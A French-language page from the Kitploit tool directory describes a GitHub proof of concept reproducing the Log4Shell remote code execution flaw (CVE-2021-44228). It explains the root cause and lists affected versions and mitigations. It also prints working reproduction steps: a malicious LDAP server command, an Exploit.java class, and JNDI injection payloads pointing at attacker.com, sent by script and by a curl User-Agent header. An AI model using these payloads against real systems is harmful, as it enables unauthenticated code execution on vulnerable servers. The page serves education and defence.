Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2021-44228-log4shell_rce_reproduction — CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE | Kitploit
Outils/GitHubGitHub/razureink/cve-2021-44228-log4shell_rce_reproduction
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationOutil d'Accès à Distance
GitHubrazureink/cve-2021-44228-log4shell_rce_reproduction

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 27 joursPas encore vérifié

CVE-2021-44228 — Log4Shell : Exécution de code à distance dans Apache Log4j2

CVSS 10.0 CRITIQUE | CWE-502 : Désérialisation de données non fiables | CWE-917 : Neutralisation inadéquate pour l'injection de langage d'expression

Vue d'ensemble

Log4Shell (CVE-2021-44228) est sans doute la vulnérabilité la plus grave des années 2020, affectant les versions 2.0 à 2.14.1 d'Apache Log4j2. Découverte par Chen Zhaojun d'Alibaba Cloud Security en novembre 2021 et divulguée publiquement le 9 décembre 2021, elle permet l'exécution de code à distance sans authentification sur des centaines de millions de serveurs dans le monde entier.

La vulnérabilité provient de la fonctionnalité de recherche JNDI (Java Naming and Directory Interface) de Log4j2, qui autorise des chaînes de recherche arbitraires comme ${jndi:ldap://attacker.com/a} dans les messages de journalisation. Lorsqu'une chaîne contrôlée par l'utilisateur contenant un tel motif est journalisée, Log4j2 effectue la recherche JNDI, ce qui peut charger et exécuter des classes Java distantes.

Détails techniques

Cause racine

Log4j2 a introduit une fonctionnalité appelée « Message Lookup » qui remplace les motifs ${...} dans les messages de journalisation par des valeurs provenant de diverses sources (JNDI, variables d'environnement, propriétés système, etc.). La classe JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) appelle InitialContext.lookup() sur des chaînes contrôlées par l'attaquant sans assainissement approprié.

root@kitploit:~
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

La méthode lookup() délègue à javax.naming.InitialContext.lookup(), qui peut charger des objets distants depuis des serveurs LDAP, RMI, DNS ou CORBA.

Déroulement de l'attaque

root@kitploit:~
1. L'attaquant prépare la charge utile : ${jndi:ldap://attacker.com/a}
2. La charge utile entre dans le contexte applicatif (en-tête HTTP, saisie utilisateur, etc.)
3. L'application journalise la charge utile (par ex. via la journalisation des requêtes)
4. Log4j2 traite le motif ${...} et appelle JndiLookup
5. La recherche JNDI interroge le serveur LDAP contrôlé par l'attaquant
6. Le serveur LDAP répond avec une référence (Reference) pointant vers la classe Java de l'attaquant
7. Log4j2 / la JVM récupère et charge la classe distante
8. La classe de l'attaquant exécute du code arbitraire dans la JVM de l'application

Versions concernées

Reproduction

Configuration (serveur de référence LDAP)

Utilisez marshalsec pour démarrer un serveur LDAP malveillant :

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Compiler la classe de l'exploit

root@kitploit:~
// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
root@kitploit:~
javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

Déclenchement

root@kitploit:~
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

Ou via un en-tête HTTP :

root@kitploit:~
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

Code du PoC

Le fichier exploit.py inclus fournit :

  • Génération de charges utiles d'injection JNDI (variantes LDAP, RMI, DNS)
  • Injection d'en-têtes HTTP pour les cibles courantes
  • Mode serveur de référence LDAP automatisé
  • Collaboration avec marshalsec ou mode autonome

Atténuation

Références

  • NVD : CVE-2021-44228
  • Avis de sécurité Apache Log4j
  • Recommandations CISA relatives à Log4j
  • Analyse Log4Shell par Lunasec
Télécharger l’outil
VersionStatut
Log4j 2.0 – 2.14.1Vulnérable
Log4j 2.15.0-rc1Correctif partiel (contournement CVE-2021-45046)
Log4j 2.15.0Correctif limité (JNDI désactivé par défaut, recherches limitées)
Log4j 2.16.0JNDI désactivé, Message Lookups supprimés
Log4j 2.17.0Correctif final pour 2.x (CVE-2021-44832)
Log4j 1.xPas directement concerné (base de code différente)
ApprocheDétails
Mettre à niveau Log4jMettre à jour vers 2.17.0+ (2.x) ou 2.12.4+ (Java 7)
Option JVM-Dlog4j2.formatMsgNoLookups=true
Supprimer JndiLookupzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Règles WAFBloquer les motifs ${jndi: dans les requêtes
Contrôles réseauBloquer les connexions LDAP/RMI sortantes vers des serveurs non fiables